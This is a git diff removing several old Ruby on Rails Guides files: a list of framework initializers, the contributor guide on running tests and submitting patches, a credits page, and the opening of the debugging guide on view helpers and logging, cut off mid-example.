-*+active_support.initialize_time_zone+* Sets the default time zone for the application based on the +config.time_zone+ setting, which defaults to "UTC".
-
-*+action_dispatch.configure+* Configures the +ActionDispatch::Http::URL.tld_length+ to be set to the value of +config.action_dispatch.tld_length+.
-
-*+action_view.cache_asset_ids+* Sets +ActionView::Helpers::AssetTagHelper::AssetPaths.cache_asset_ids+ to +false+ when Active Support loads, but only if +config.cache_classes+ is too.
-
-*+action_view.javascript_expansions+* Registers the expansions set up by +config.action_view.javascript_expansions+ and +config.action_view.stylesheet_expansions+ to be recognized by Action View and therefore usable in the views.
-
-*+action_view.set_configs+* Sets up Action View by using the settings in +config.action_view+ by +send+'ing the method names as setters to +ActionView::Base+ and passing the values through.
-
-*+action_controller.logger+* Sets +ActionController::Base.logger+ -- if it's not already set -- to +Rails.logger+.
-
-*+action_controller.initialize_framework_caches+* Sets +ActionController::Base.cache_store+ -- if it's not already set -- to +RAILS_CACHE+.
-
-*+action_controller.set_configs+* Sets up Action Controller by using the settings in +config.action_controller+ by +send+'ing the method names as setters to +ActionController::Base+ and passing the values through.
-
-*+action_controller.compile_config_methods+* Initializes methods for the config settings specified so that they are quicker to access.
-
-*+active_record.initialize_timezone+* Sets +ActiveRecord::Base.time_zone_aware_attributes+ to true, as well as setting +ActiveRecord::Base.default_timezone+ to UTC. When attributes are read from the database, they will be converted into the time zone specified by +Time.zone+.
-
-*+active_record.logger+* Sets +ActiveRecord::Base.logger+ -- if it's not already set -- to +Rails.logger+.
-
-*+active_record.set_configs+* Sets up Active Record by using the settings in +config.active_record+ by +send+'ing the method names as setters to +ActiveRecord::Base+ and passing the values through.
-
-*+active_record.initialize_database+* Loads the database configuration (by default) from +config/database.yml+ and establishes a connection for the current environment.
-
-*+active_record.log_runtime+* Includes +ActiveRecord::Railties::ControllerRuntime+ which is responsible for reporting the time taken by Active Record calls for the request back to the logger.
-
-*+active_record.set_dispatch_hooks+* Resets all reloadable connections to the database if +config.cache_classes+ is set to +false+.
-
-*+action_mailer.logger+* Sets +ActionMailer::Base.logger+ -- if it's not already set -- to +Rails.logger+.
-
-*+action_mailer.set_configs+* Sets up Action Mailer by using the settings in +config.action_mailer+ by +send+'ing the method names as setters to +ActionMailer::Base+ and passing the values through.
-
-*+action_mailer.compile_config_methods+* Initializes methods for the config settings specified so that they are quicker to access.
-
-*+active_resource.set_configs+* Sets up Active Resource by using the settings in +config.active_resource+ by +send+'ing the method names as setters to +ActiveResource::Base+ and passing the values through.
-
-*+set_load_path+* This initializer runs before +bootstrap_hook+. Adds the +vendor+, +lib+, all directories of +app+ and any paths specified by +config.load_paths+ to +$LOAD_PATH+.
-
-*+set_autoload_paths+* This initializer runs before +bootstrap_hook+. Adds all sub-directories of +app+ and paths specified by +config.autoload_paths+ to +ActiveSupport::Dependencies.autoload_paths+.
-
-*+add_routing_paths+* Loads (by default) all +config/routes.rb+ files (in the application and railties, including engines) and sets up the routes for the application.
-
-*+add_locales+* Adds the files in +config/locales+ (from the application, railties and engines) to +I18n.load_path+, making available the translations in these files.
-
-*+add_view_paths+* Adds the directory +app/views+ from the application, railties and engines to the lookup path for view files for the application.
-
-*+load_environment_config+* Loads the +config/environments+ file for the current environment.
-
-*+append_asset_paths+* Finds asset paths for the application and all attached railties and keeps a track of the available directories in +config.static_asset_paths+.
-
-*+prepend_helpers_path+* Adds the directory +app/helpers+ from the application, railties and engines to the lookup path for helpers for the application.
-
-*+load_config_initializers+* Loads all Ruby files from +config/initializers+ in the application, railties and engines. The files in this directory can be used to hold configuration settings that should be made after all of the frameworks and plugins are loaded.
-
-*+engines_blank_point+* Provides a point-in-initialization to hook into if you wish to do anything before engines are loaded. After this point, all railtie and engine initializers are ran.
-
-*+add_generator_templates+* Finds templates for generators at +lib/templates+ for the application, railities and engines and adds these to the +config.generators.templates+ setting, which will make the templates available for all generators to reference.
-
-*+ensure_autoload_once_paths_as_subset+* Ensures that the +config.autoload_once_paths+ only contains paths from +config.autoload_paths+. If it contains extra paths, then an exception will be raised.
-
-*+add_to_prepare_blocks+* The block for every +config.to_prepare+ call in the application, a railtie or engine is added to the +to_prepare+ callbacks for Action Dispatch which will be ran per request in development, or before the first request in production.
-
-*+add_builtin_route+* If the application is running under the development environment then this will append the route for +rails/info/properties+ to the application routes. This route provides the detailed information such as Rails and Ruby version for +public/index.html+ in a default Rails application.
-
-*+build_middleware_stack+* Builds the middleware stack for the application, returning an object which has a +call+ method which takes a Rack environment object for the request.
-
-*+eager_load!+* If +config.cache_classes+ is true, runs the +config.before_eager_load+ hooks and then calls +eager_load!+ which will load all the Ruby files from +config.eager_load_paths+.
-
-*+finisher_hook+* Provides a hook for after the initialization of process of the application is complete, as well as running all the +config.after_initialize+ blocks for the application, railties and engines.
-
-*+set_routes_reloader+* Configures Action Dispatch to reload the routes file using +ActionDispatch::Callbacks.to_prepare+.
-
-*+disable_dependency_loading+* Disables the automatic dependency loading if the +config.cache_classes+ is set to true and +config.dependency_loading+ is set to false.
diff --git a/railties/guides/source/contributing_to_ruby_on_rails.textile b/railties/guides/source/contributing_to_ruby_on_rails.textile
deleted file mode 100644
index 4d84c50e2a..0000000000
--- a/railties/guides/source/contributing_to_ruby_on_rails.textile
+++ /dev/null
@@ -1,389 +0,0 @@
-h2. Contributing to Ruby on Rails
-
-This guide covers ways in which _you_ can become a part of the ongoing development of Ruby on Rails. After reading it, you should be familiar with:
-
-* Using GitHub to report issues
-* Cloning master and running the test suite
-* Helping to resolve existing issues
-* Contributing to the Ruby on Rails documentation
-* Contributing to the Ruby on Rails code
-
-Ruby on Rails is not "someone else's framework." Over the years, hundreds of people have contributed to Ruby on Rails ranging from a single character to massive architectural changes or significant documentation. All with the goal of making Ruby on Rails better for everyone. Even if you don't feel up to writing code or documentation yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches.
-
-endprologue.
-
-h3. Reporting an Issue
-
-Ruby on Rails uses "GitHub Issue Tracking":https://github.com/rails/rails/issues to track issues (primarily bugs and contributions of new code). If you've found a bug in Ruby on Rails, this is the place to start. You'll need to create a (free) GitHub account in order to either submit an issue, comment on them or create pull requests.
-
-NOTE: Bugs in the most recent released version of Ruby on Rails are likely to get the most attention. Also, the Rails core team is always interested in feedback from those who can take the time to test _edge Rails_ (the code for the version of Rails that is currently under development). Later in this guide you'll find out how to get edge Rails for testing.
-
-h4. Creating a Bug Report
-
-If you've found a problem in Ruby on Rails which is not a security risk do a search in GitHub Issues in case it was already reported. If you find no issue addressing it you can "add a new one":https://github.com/rails/rails/issues/new. (See the next section for reporting security issues.)
-
-At the minimum, your issue report needs a title and descriptive text. But that's only a minimum. You should include as much relevant information as possible. You need to at least post the code sample that has the issue. Even better is to include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself - and others - to replicate the bug and figure out a fix.
-
-Then don't get your hopes up. Unless you have a "Code Red, Mission Critical, The World is Coming to an End" kind of bug, you're creating this issue report in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the issue report will automatically see any activity or that others will jump to fix it. Creating an issue like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with a "I'm having this problem too" comment.
-
-h4. Special Treatment for Security Issues
-
-WARNING: Please do not report security vulnerabilities with public GitHub issue reports. The "Rails security policy page":http://rubyonrails.org/security details the procedure to follow for security issues.
-
-h4. What About Feature Requests?
-
-Please don't put "feature request" items into GitHub Issues. If there's a new feature that you want to see added to Ruby on Rails, you'll need to write the code yourself - or convince someone else to partner with you to write the code. Later in this guide you'll find detailed instructions for proposing a patch to Ruby on Rails. If you enter a wishlist item in GitHub Issues with no code, you can expect it to be marked "invalid" as soon as it's reviewed.
-
-h3. Running the Test Suite
-
-To move on from submitting bugs to helping resolve existing issues or contributing your own code to Ruby on Rails, you _must_ be able to run its test suite. In this section of the guide you'll learn how to set up the tests on your own computer.
-
-h4. Install git
-
-Ruby on Rails uses git for source code control. The "git homepage":http://git-scm.com/ has installation instructions. There are a variety of resources on the net that will help you get familiar with git:
-
-* "Everyday Git":http://www.kernel.org/pub/software/scm/git/docs/everyday.html will teach you just enough about git to get by.
-* The "PeepCode screencast":https://peepcode.com/products/git on git ($9) is easier to follow.
-* "GitHub":http://help.github.com offers links to a variety of git resources.
-* "Pro Git":http://progit.org/book/ is an entire book about git with a Creative Commons license.
-
-h4. Clone the Ruby on Rails Repository
-
-Navigate to the folder where you want the Ruby on Rails source code (it will create its own +rails+ subdirectory) and run:
-
-<shell>
-$ git clone git://github.com/rails/rails.git
-$ cd rails
-</shell>
-
-h4. Set up and Run the Tests
-
-The test suite must pass with any submitted code. No matter whether you are writing a new patch, or evaluating someone else's, you need to be able to run the tests.
-
-Install first libxml2 and libxslt together with their development files for Nokogiri. In Ubuntu that's
-
-<shell>
-$ sudo apt-get install libxml2 libxml2-dev libxslt1-dev
-</shell>
-
-Also, SQLite3 and its development files for the +sqlite3-ruby+ gem, in Ubuntu you're done with
-
-<shell>
-$ sudo apt-get install sqlite3 libsqlite3-dev
-</shell>
-
-Get a recent version of "Bundler":http://gembundler.com/:
-
-<shell>
-$ gem install bundler
-</shell>
-
-and run:
-
-<shell>
-$ bundle install --without db
-</shell>
-
-This command will install all dependencies except the MySQL and PostgreSQL Ruby drivers. We will come back at these soon. With dependencies installed, you can run the test suite with:
-
-<shell>
-$ bundle exec rake test
-</shell>
-
-You can also run tests for a specific framework, like Action Pack, by going into its directory and executing the same command:
-
-<shell>
-$ cd actionpack
-$ bundle exec rake test
-</shell>
-
-If you want to run tests from the specific directory use the +TEST_DIR+ environment variable. For example, this will run tests inside +railties/test/generators+ directory only:
-
-<shell>
-$ cd railties
-$ TEST_DIR=generators bundle exec rake test
-</shell>
-
-h4. Warnings
-
-The test suite runs with warnings enabled. Ideally Ruby on Rails should issue no warning, but there may be a few, and also some from third-party libraries. Please ignore (or fix!) them if any, and submit patches that do not issue new warnings.
-
-As of this writing they are specially noisy with Ruby 1.9. If you are sure about what you are doing and would like to have a more clear output, there's a way to override the flag:
-
-<shell>
-$ RUBYOPT=-W0 bundle exec rake test
-</shell>
-
-h4. Testing Active Record
-
-The test suite of Active Record attempts to run four times, once for SQLite3, once for each of the two MySQL gems (+mysql+ and +mysql2+), and once for PostgreSQL. We are going to see now how to setup the environment for them.
-
-WARNING: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, and SQLite3. Subtle differences between the various adapters have been behind the rejection of many patches that looked OK when tested only against MySQL.
-
-h5. Set up Database Configuration
-
-The Active Record test suite requires a custom config file: +activerecord/test/config.yml+. An example is provided in +activerecord/test/config.example.yml+ which can be copied and used as needed for your environment.
-
-h5. SQLite3
-
-The gem +sqlite3-ruby+ does not belong to the "db" group indeed, if you followed the instructions above you're ready. This is how you run the Active Record test suite only for SQLite3:
-
-<shell>
-$ cd activerecord
-$ bundle exec rake test_sqlite3
-</shell>
-
-h5. MySQL and PostgreSQL
-
-To be able to run the suite for MySQL and PostgreSQL we need their gems. Install first the servers, their client libraries, and their development files. In Ubuntu just run
-
-<shell>
-$ sudo apt-get install mysql-server libmysqlclient15-dev
-$ sudo apt-get install postgresql postgresql-client postgresql-contrib libpq-dev
-</shell>
-
-After that run:
-
-<shell>
-$ rm .bundle/config
-$ bundle install
-</shell>
-
-We need first to delete +.bundle/config+ because Bundler remembers in that file that we didn't want to install the "db" group (alternatively you can edit the file).
-
-In order to be able to run the test suite against MySQL you need to create a user named +rails+ with privileges on the test databases:
-
-<shell>
-mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.*
-       to 'rails'@'localhost';
-mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.*
-       to 'rails'@'localhost';
-</shell>
-
-and create the test databases:
-
-<shell>
-$ cd activerecord
-$ rake mysql:build_databases
-</shell>
-
-PostgreSQL's authentication works differently. A simple way to setup the development environment for example is to run with your development account
-
-<shell>
-$ sudo -u postgres createuser --superuser $USER
-</shell>
-
-and after that create the test databases with
-
-<shell>
-$ cd activerecord
-$ rake postgresql:build_databases
-</shell>
-
-NOTE: Using the rake task to create the test databases ensures they have the correct character set and collation.
-
-If you’re using another database, check the files under +activerecord/test/connections+ for default connection information. You can edit these files if you _must_ on your machine to provide different credentials, but obviously you should not push any such changes back to Rails.
-
-You can now run tests as you did for +sqlite3+, the tasks are
-
-<shell>
-test_mysql
-test_mysql2
-test_postgresql
-</shell>
-
-respectively. As we mentioned before
-
-<shell>
-$ bundle exec rake test
-</shell>
-
-will now run the four of them in turn.
-
-You can also invoke +test_jdbcmysql+, +test_jdbcsqlite3+ or +test_jdbcpostgresql+. Check out the file +activerecord/RUNNING_UNIT_TESTS+ for information on running more targeted database tests, or the file +ci/ci_build.rb+ to see the test suite that the continuous integration server runs.
-
-h4. Older versions of Ruby on Rails
-
-If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 3-0-stable branch:
-
-<shell>
-$ git branch --track 3-0-stable origin/3-0-stable
-$ git checkout 3-0-stable
-</shell>
-
-TIP: You may want to "put your git branch name in your shell prompt":http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/ to make it easier to remember which version of the code you're working with.
-
-h3. Helping to Resolve Existing Issues
-
-As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the "Everyone's Issues":https://github.com/rails/rails/issues?sort=created&direction=desc&state=open&page=1 list in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually:
-
-h4. Verifying Bug Reports
-
-For starters, it helps to just verify bug reports. Can you reproduce the reported issue on your own computer? If so, you can add a comment to the issue saying that you're seeing the same thing.
-
-If something is very vague, can you help squish it down into something specific? Maybe you can provide additional information to help reproduce a bug, or eliminate needless steps that aren't required to help demonstrate the problem.
-
-If you find a bug report without a test, it's very useful to contribute a failing test. This is also a great way to get started exploring the source code: looking at the existing test files will teach you how to write more tests. New tests are best contributed in the form of a patch, as explained later on in the "Contributing to the Rails Code" section.
-
-Anything you can do to make bug reports more succinct or easier to reproduce is a help to folks trying to write code to fix those bugs - whether you end up writing the code yourself or not.
-
-h4. Testing Patches
-
-You can also help out by examining pull requests that have been submitted to Ruby on Rails via GitHub. To apply someone's changes you need to first create a dedicated branch:
-
-<shell>
-$ git checkout -b testing_branch
-</shell>
-
-Then you can use their remote branch to update your codebase. For example, let's say the GitHub user JohnSmith has forked and pushed to the topic branch located at https://github.com/JohnSmith/rails.
-
-<shell>
-$ git remote add JohnSmith git://github.com/JohnSmith/rails.git
-$ git pull JohnSmith topic
-</shell>
-
-After applying their branch, test it out! Here are some things to think about:
-
-* Does the change actually work?
-* Are you happy with the tests? Can you follow what they're testing? Are there any tests missing?
-* Does it have proper documentation coverage? Should documentation elsewhere be updated?
-* Do you like the implementation? Can you think of a nicer or faster way to implement a part of their change?
-
-Once you're happy that the pull request contains a good change, comment on the GitHub issue indicating your approval. Your comment should indicate that you like the change and what you like about it. Something like:
-
-<blockquote>
-I like the way you've restructured that code in generate_finder_sql, much nicer. The tests look good too.
-</blockquote>
-
-If your comment simply says "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the pull request.
-
-h3. Contributing to the Rails Documentation
-
-Ruby on Rails has two main sets of documentation: The guides help you to learn Ruby on Rails, and the API is a reference.
-
-You can help improve the Rails guides by making them more coherent, adding missing information, correcting factual errors, fixing typos, bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see "Translating Rails Guides":https://wiki.github.com/lifo/docrails/translating-rails-guides.
-
-If you're confident about your changes, you can push them yourself directly via "docrails":https://github.com/lifo/docrails. docrails is a branch with an *open commit policy* and public write access. Commits to docrails are still reviewed, but that happens after they are pushed. docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation.
-
-If you are unsure of the documentation changes, you can create an issue in the "Rails":https://github.com/rails/rails/issues issues tracker on GitHub.
-
-When working with documentation, please take into account the "API Documentation Guidelines":api_documentation_guidelines.html and the "Ruby on Rails Guides Guidelines":ruby_on_rails_guides_guidelines.html.
-
-NOTE: As explained earlier, ordinary code patches should have proper documentation coverage. docrails is only used for isolated documentation improvements.
-
-WARNING: docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. Also, CHANGELOGs should never be edited in docrails.
-
-h3. Contributing to the Rails Code
-
-h4. Clone the Rails Repository
-
-The first thing you need to do to be able to contribute code is to clone the repository:
-
-<shell>
-$ git clone git://github.com/rails/rails.git
-</shell>
-
-and create a dedicated branch:
-
-<shell>
-$ cd rails
-$ git checkout -b my_new_branch
-</shell>
-
-It doesn’t really matter what name you use, because this branch will only exist on your local computer and your personal repository on Github. It won't be part of the Rails git repository.
-
-h4. Write Your Code
-
-Now get busy and add or edit code. You’re on your branch now, so you can write whatever you want (you can check to make sure you’re on the right branch with +git branch -a+). But if you’re planning to submit your change back for inclusion in Rails, keep a few things in mind:
-
-* Get the code right
-* Use Rails idioms and helpers
-* Include tests that fail without your code, and pass with it
-* Update the documentation, the surrounding one, examples elsewhere, guides, whatever is affected by your contribution
-
-h4. Follow the Coding Conventions
-
-Rails follows a simple set of coding style conventions.
-
-* Two spaces, no tabs.
-* No trailing whitespace. Blank lines should not have any space.
-* Indent after private/protected.
-* Prefer +&amp;&amp;+/+||+ over +and+/+or+.
-* Prefer class << self block over self.method for class methods.
-* +MyClass.my_method(my_arg)+ not +my_method( my_arg )+ or +my_method my_arg+.
-* a = b and not a=b.
-* Follow the conventions you see used in the source already.
-
-These are some guidelines and please use your best judgment in using them.
-
-h4. Sanity Check
-
-You should not be the only person who looks at the code before you submit it. You know at least one other Rails developer, right? Show them what you’re doing and ask for feedback. Doing this in private before you push a patch out publicly is the “smoke test” for a patch: if you can’t convince one other developer of the beauty of your code, you’re unlikely to convince the core team either.
-
-You might also want to check out the "RailsBridge BugMash":http://wiki.railsbridge.org/projects/railsbridge/wiki/BugMash as a way to get involved in a group effort to improve Rails. This can help you get started and help check your code when you're writing your first patches.
-
-h4. Commit Your Changes
-
-When you're happy with the code on your computer, you need to commit the changes to git:
-
-<shell>
-$ git commit -a -m "Here is a commit message on what I changed in this commit"
-</shell>
-
-h4. Update master
-
-It’s pretty likely that other changes to master have happened while you were working. Go get them:
-
-<shell>
-$ git checkout master
-$ git pull
-</shell>
-
-Now reapply your patch on top of the latest changes:
-
-<shell>
-$ git checkout my_new_branch
-$ git rebase master
-</shell>
-
-No conflicts? Tests still pass? Change still seems reasonable to you? Then move on.
-
-h4. Fork
-
-Navigate to the Rails "GitHub repository":https://github.com/rails/rails and press "Fork" in the upper right hand corner.
-
-Add the new remote to your local repository on your local machine:
-
-<shell>
-$ git remote add mine git@github.com:<your user name>/rails.git
-</shell>
-
-Push to your remote:
-
-<shell>
-$ git push mine my_new_branch
-</shell>
-
-h4. Issue a Pull Request
-
-Navigate to the Rails repository you just pushed to (e.g. https://github.com/your-user-name/rails) and press "Pull Request" in the upper right hand corner.
-
-Write your branch name in branch field (is filled with master by default) and press "Update Commit Range"
-
-Ensure the changesets you introduced are included in the "Commits" tab and that the "Files Changed" incorporate all of your changes.
-
-Fill in some details about your potential patch including a meaningful title. When finished, press "Send pull request." Rails Core will be notified about your submission.
-
-h4. Get Some Feedback
-
-Now you need to get other people to look at your patch, just as you've looked at other people's patches. You can use the "rubyonrails-core mailing list":http://groups.google.com/group/rubyonrails-core/ or the #rails-contrib channel on IRC freenode for this. You might also try just talking to Rails developers that you know.
-
-h4. Iterate as Necessary
-
-It’s entirely possible that the feedback you get will suggest changes. Don’t get discouraged: the whole point of contributing to an active open source project is to tap into community knowledge. If people are encouraging you to tweak your code, then it’s worth making the tweaks and resubmitting. If the feedback is that your code doesn’t belong in the core, you might still think about releasing it as a plugin.
-
-And then...think about your next contribution!
-
-h3. Rails Contributors
-
-All contributions, either via master or docrails, get credit in "Rails Contributors":http://contributors.rubyonrails.org.
diff --git a/railties/guides/source/credits.html.erb b/railties/guides/source/credits.html.erb
deleted file mode 100644
index da6bd6acdf..0000000000
--- a/railties/guides/source/credits.html.erb
+++ /dev/null
@@ -1,72 +0,0 @@
-<% content_for :page_title do %>
-Ruby on Rails Guides: Credits
-<% end %>
-
-<% content_for :header_section do %>
-<h2>Credits</h2>
-
-<p>We'd like to thank the following people for their tireless contributions to this project.</p>
-
-<% end %>
-
-<h3 class="section">Rails Guides Reviewers</h3>
-
-<%= author('Vijay Dev', 'vijaydev', 'vijaydev.jpg') do %>
-  Vijayakumar, found as Vijay Dev on the web, is a web applications developer and an open source enthusiast who lives in Chennai, India. He started using Rails in 2009 and began actively contributing to Rails documentation in late 2010. He <a href="https://twitter.com/vijay_dev">tweets</a> a lot and also <a href="http://vijaydev.wordpress.com">blogs</a>.
-<% end %>
-
-<%= author('Xavier Noria', 'fxn', 'fxn.png') do %>
-  Xavier Noria has been into Ruby on Rails since 2005. He is a Rails core team member and enjoys combining his passion for Rails and his past life as a proofreader of math textbooks. Xavier is currently an independent Ruby on Rails consultant. Oh, he also <a href="http://twitter.com/fxn">tweets</a> and can be found everywhere as &quot;fxn&quot;.
-<% end %>
-
-<h3 class="section">Rails Guides Designers</h3>
-
-<%= author('Jason Zimdars', 'jz') do %>
-  Jason Zimdars is an experienced creative director and web designer who has lead UI and UX design for numerous websites and web applications. You can see more of his design and writing at <a href="http://www.thinkcage.com/">Thinkcage.com</a> or follow him on <a href="http://twitter.com/JZ">Twitter</a>.
-<% end %>
-
-<h3 class="section">Rails Guides Authors</h3>
-
-<%= author('Ryan Bigg', 'radar', 'radar.png') do %>
-Ryan Bigg works as a consultant at <a href="http://rubyx.com">RubyX</a> and has been working with Rails since 2006. He's co-authoring a book called <a href="http://manning.com/katz">Rails 3 in Action</a> and he's written many gems which can be seen on <a href="http://github.com/radar">his GitHub page</a> and he also tweets prolifically as <a href="http://twitter.com/ryanbigg">@ryanbigg</a>.
-<% end %>
-
-<%= author('Frederick Cheung', 'fcheung') do %>
-  Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006. He is based in Cambridge (UK) and when not consuming fine ales he blogs at <a href="http://www.spacevatican.org">spacevatican.org</a>.
-<% end %>
-
-<%= author('Tore Darell', 'toretore') do %>
-  Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails and unobtrusive JavaScript. His home on the internet is his blog <a href="http://tore.darell.no">Sneaky Abstractions</a>.
-<% end %>
-
-<%= author('Jeff Dean', 'zilkey') do %>
-  Jeff Dean is a software engineer with <a href="http://pivotallabs.com">Pivotal Labs</a>.
-<% end %>
-
-<%= author('Mike Gunderloy', 'mgunderloy') do %>
-  Mike Gunderloy is a consultant with <a href="http://www.actionrails.com">ActionRails</a>. He brings 25 years of experience in a variety of languages to bear on his current work with Rails. His near-daily links and other blogging can be found at <a href="http://afreshcup.com">A Fresh Cup</a> and he <a href="http://twitter.com/MikeG1">twitters</a> too much.
-<% end %>
-
-<%= author('Mikel Lindsaar', 'raasdnil') do %>
-  Mikel Lindsaar has been working with Rails since 2006 and is the author of the Ruby <a href="https://github.com/mikel/mail">Mail gem</a> and core contributor (he helped re-write Action Mailer's API). Mikel is the founder of <a href="http://rubyx.com/">RubyX</a>, has a <a href="http://lindsaar.net/">blog</a> and <a href="http://twitter.com/raasdnil">tweets</a>.
-<% end %>
-
-<%= author('Cássio Marques', 'cmarques') do %>
-  Cássio Marques is a Brazilian software developer working with different programming languages such as Ruby, JavaScript, CPP and Java, as an independent consultant. He blogs at <a href="http://cassiomarques.wordpress.com">/* CODIFICANDO */</a>, which is mainly written in Portuguese, but will soon get a new section for posts with English translation.
-<% end %>
-
-<%= author('James Miller', 'bensie') do %>
-  James Miller is a software developer for <a href="http://www.jk-tech.com">JK Tech</a> in San Diego, CA. You can find James on GitHub, Gmail, Twitter, and Freenode as &quot;bensie&quot;.
-<% end %>
-
-<%= author('Pratik Naik', 'lifo') do %>
-  Pratik Naik is a Ruby on Rails consultant with <a href="http://www.actionrails.com">ActionRails</a> and also a member of the <a href="http://rubyonrails.org/core">Rails core team</a>. He maintains a blog at <a href="http://m.onkey.org">has_many :bugs, :through =&gt; :rails</a> and has an active <a href="http://twitter.com/lifo">twitter account</a>.
-<% end %>
-
-<%= author('Emilio Tagua', 'miloops') do %>
-  Emilio Tagua &mdash;a.k.a. miloops&mdash; is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist. Cofounder of <a href="http://eventioz.com">Eventioz</a>. He has been using Rails since 2006 and contributing since early 2008. Can be found at gmail, twitter, freenode, everywhere as &quot;miloops&quot;.
-<% end %>
-
-<%= author('Heiko Webers', 'hawe') do %>
-  Heiko Webers is the founder of <a href="http://www.bauland42.de">bauland42</a>, a German web application security consulting and development company focused on Ruby on Rails. He blogs at the <a href="http://www.rorsecurity.info">Ruby on Rails Security Project</a>. After 10 years of desktop application development, Heiko has rarely looked back.
-<% end %>
diff --git a/railties/guides/source/debugging_rails_applications.textile b/railties/guides/source/debugging_rails_applications.textile
deleted file mode 100644
index 3552c68418..0000000000
--- a/railties/guides/source/debugging_rails_applications.textile
+++ /dev/null
@@ -1,714 +0,0 @@
-h2. Debugging Rails Applications
-
-This guide introduces techniques for debugging Ruby on Rails applications. By referring to this guide, you will be able to:
-
-* Understand the purpose of debugging
-* Track down problems and issues in your application that your tests aren't identifying
-* Learn the different ways of debugging
-* Analyze the stack trace
-
-endprologue.
-
-h3. View Helpers for Debugging
-
-One common task is to inspect the contents of a variable. In Rails, you can do this with three methods:
-
-* +debug+
-* +to_yaml+
-* +inspect+
-
-h4. +debug+
-
-The +debug+ helper will return a &lt;pre&gt;-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:
-
-<html>
-<%= debug @post %>
-<p>
-  <b>Title:</b>
-  <%=h @post.title %>
-</p>
-</html>
-
-You'll see something like this:
-
-<yaml>
---- !ruby/object:Post
-attributes:
-  updated_at: 2008-09-05 22:55:47
-  body: It's a very helpful guide for debugging your Rails app.
-  title: Rails debugging guide
-  published: t
-  id: "1"
-  created_at: 2008-09-05 22:55:47
-attributes_cache: {}
-
-
-Title: Rails debugging guide
-</yaml>
-
-h4. +to_yaml+
-
-Displaying an instance variable, or any other object or method, in YAML format can be achieved this way:
-
-<html>
-<%= simple_format @post.to_yaml %>
-<p>
-  <b>Title:</b>
-  <%=h @post.title %>
-</p>
-</html>
-
-The +to_yaml+ method converts the method to YAML format leaving it more readable, and then the +simple_format+ helper is used to render each line as in the console. This is how +debug+ method does its magic.
-
-As a result of this, you will have something like this in your view:
-
-<yaml>
---- !ruby/object:Post
-attributes:
-updated_at: 2008-09-05 22:55:47
-body: It's a very helpful guide for debugging your Rails app.
-title: Rails debugging guide
-published: t
-id: "1"
-created_at: 2008-09-05 22:55:47
-attributes_cache: {}
-
-Title: Rails debugging guide
-</yaml>
-
-h4. +inspect+
-
-Another useful method for displaying object values is +inspect+, especially when working with arrays or hashes. This will print the object value as a string. For example:
-
-<html>
-<%= [1, 2, 3, 4, 5].inspect %>
-<p>
-  <b>Title:</b>
-  <%=h @post.title %>
-</p>
-</html>
-
-Will be rendered as follows:
-
-<pre>
-[1, 2, 3, 4, 5]
-
-Title: Rails debugging guide
-</pre>
-
-h3. The Logger
-
-It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment.
-
-h4. What is the Logger?
-
-Rails makes use of Ruby's standard +logger+ to write log information. You can also substitute another logger such as +Log4r+ if you wish.
-
-You can specify an alternative logger in your +environment.rb+ or any environment file:
-
-<ruby>
-Rails.logger = Logger.new(STDOUT)
-Rails.logger = Log4r::Logger.new("Application Log")
-</ruby>
-
-Or in the +Initializer+ section, add _any_ of the following
-
-<ruby>
-config.logger = Logger.new(STDOUT)
-config.logger = Log4r::Logger.new("Application Log")
-</ruby>
-
-TIP: By default, each log is created under +Rails.root/log/+ and the log file name is +environment_name.log+.
-
-h4. Log Levels
-
-When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the +Rails.logger.level+ method.
-
-The available log levels are: +:debug+, +:info+, +:warn+, +:error+, and +:fatal+, corresponding to the log level numbers from 0 up to 4 respectively. To change the default log level, use
-
-<ruby>
-config.log_level = :warn # In any environment initializer, or
-Rails.logger.level = 0 # at any time
-</ruby>
-
-This is useful when you want to log under development or staging, but you don't want to flood your production log with unnecessary information.
-
-TIP: The default Rails log level is +info+ in production mode and +debug+ in development and test mode.
-
-h4. Sending Messages
-
-To write in the current log use the +logger.(debug|info|warn|error|fatal)+ method from within a controller, model or mailer:
-
-<ruby>
-logger.debug "Person attributes hash: #{@person.attributes.inspect}"
-logger.info "Processing the request..."
-logger.fatal "Terminating application, raised unrecoverable error!!!"
-</ruby>
-
-Here's an example of a method instrumented with extra logging:
-
-<ruby>
-class PostsController < ApplicationController
-  # ...
-
-  def create
-    @post = Post.new(params[:post])
-    logger.debug "New post: #{@post.attributes.inspect}"
-    logger.debug "Post should be valid: #{@post.valid?}"
-
-    if @post.save
-      flash[:notice] = 'Post was successfully created.'
-      logger.debug "The post was saved and now the user is going to be redirected..."
-      redirect_to(@post)
-    else
-      render :action => "new"
-    end
-  end
-
-  # ...
-end
-</ruby>
-
-Here's an example of the log generated by this method:
-
-<shell>
-Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
-  Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
-vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
-  Parameters: {"commit"=>"Create", "post"=>{"title"=>"Debugging Rails",
- "body"=>"I'm learning how to print in logs!!!", "published"=>"0"},
